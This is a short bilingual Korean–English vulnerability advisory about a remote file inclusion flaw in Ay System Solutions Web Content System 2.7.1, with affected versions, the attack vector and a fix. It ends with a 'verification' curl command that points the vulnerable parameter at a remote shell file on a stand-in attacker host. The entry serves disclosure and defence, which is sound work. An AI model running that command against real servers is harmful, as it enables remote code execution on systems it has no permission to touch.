🇰🇷 한글 설명
Ay System Solutions Web Content System (WCS) 2.7.1의 manage/javascript/formjavascript.php 파일에서 원격 파일 포함(RFI) 취약점이 발견되었습니다. 공격자는 path[JavascriptEdit] 파라미터를 통해 악의적인 URL을 전달하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
WCS 웹 관리 시스템이 사용자 입력을 검증하지 않고 원격 파일을 포함하도록 허용합니다. 이로 인해 해커가 서버에서 자신의 코드를 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in manage/javascript/formjavascript.php in Ay System Solutions Web Content System (WCS) 2.7.1 allows remote attackers to execute arbitrary PHP code via a URL in the path[JavascriptEdit] parameter.
📍 영향받는 시스템
Ay System Solutions Web Content System (WCS) 2.7.1 이하
⚔️ 공격 벡터
path[JavascriptEdit] 파라미터에 원격 PHP 파일 URL을 삽입하여 원격 코드 실행
🛡️ 대응 방법
WCS를 최신 버전으로 업데이트하거나 manage/javascript/formjavascript.php의 파라미터 검증 로직 수정
🔧 검증 코드
응답에 원격 PHP 파일의 내용이 포함되거나 실행되면 취약점이 존재하는 것입니다.
curl -s 'http://target/manage/javascript/formjavascript.php?path[JavascriptEdit]=http://attacker.com/shell.php' 2>/dev/null | grep -i 'php\|error\|warning'